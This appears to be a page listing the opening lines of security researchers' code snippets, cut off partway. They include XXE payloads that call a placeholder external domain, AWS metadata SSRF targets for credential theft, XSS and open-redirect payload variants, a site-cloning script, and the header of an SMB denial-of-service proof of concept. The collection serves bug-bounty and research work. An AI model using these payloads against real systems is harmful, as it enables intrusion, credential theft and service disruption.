honoki

<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y

harisec

so, you can read WEB-INF/web.xml. how can you escalate this issue?

[step 1]. try to read other common Java files such as WEB-INF/web-jetty.xml. 

use a specialized wordlist such as the following (from 	Sergey Bobrov/BlackFan):
https://github.com/BlackFan/WEB-INF-dict/blob/master/web-inf.txt
with time you can build your own wordlist adding files you've discovered over time.
use Burp Intruder for this, it's perfect for this job.
sort Intruder results by status code so you can see instantly which files were found.

fransr

#!/bin/bash

# Written by Frans Rosén (twitter.com/fransrosen)
_debug="$2" #turn on debug
_timeout="20"
#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key
_aws_key="AKIA..."
H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3"
H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"

jhaddix

## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

tomnomnom

// How many ways can you alert(document.domain)?
// Comment with more ways and I'll add them :)
// I already know about the JSFuck way, but it's too long to add (:

// Direct invocation
alert(document.domain);
(alert)(document.domain);
al\u0065rt(document.domain);
al\u{65}rt(document.domain);
window['alert'](document.domain);

Mr-Un1k0d3r

#!/bin/bash
echo "Cloning $1"
wget $1 -O index.html &> /dev/null
TAG="<base href=\"$1\"/></head>"
sed '/<\/head>/i\'"$TAG" index.html | tee index.html &> /dev/null
echo "index.html was saved and modified"

EdOverflow

/http://example.com
/%5cexample.com
/%2f%2fexample.com
/example.com/%2f%2e%2e
/http:/example.com
/?url=http://example.com&next=http://example.com&redirect=http://example.com&redir=http://example.com&rurl=http://example.com
/?url=//example.com&next=//example.com&redirect=//example.com&redir=//example.com&rurl=//example.com
/?url=/\/example.com&next=/\/example.com&redirect=/\/example.com
/redirect?url=http://example.com&next=http://example.com&redirect=http://example.com&redir=http://example.com&rurl=http://example.com
/redirect?url=//example.com&next=//example.com&redirect=//example.com&redir=//example.com&rurl=//example.com

marcan

/* SMBLoris attack proof-of-concept
 * 
 * Copyright 2017 Hector Martin "marcan" <[email protected]>
 *
 * Licensed under the terms of the 2-clause BSD license.
 *
 * This is a proof of concept of a publicly disclosed vulnerability.
 * Please do not go around randomly DoSing people with it.
 *
 * Tips: do not use your local IP as source, or if you do, use iptables to block

cryptolok

#!/bin/bash

# small tool to retreive vk.com (vkontakte) users hidden metadata (state, access, dates, counts, etc) anonymously (without login)

# sudo apt install curl

parse(){
    local IFS=\>
    read -d \< CELL VALUE
}

williballenthin

'''
IDA plugin to display the calls and strings referenced by a function as hints.

Installation: put this file in your %IDADIR%/plugins/ directory.
Author: Willi Ballenthin <[email protected]>
Licence: Apache 2.0
'''
import idc
import idaapi
import idautils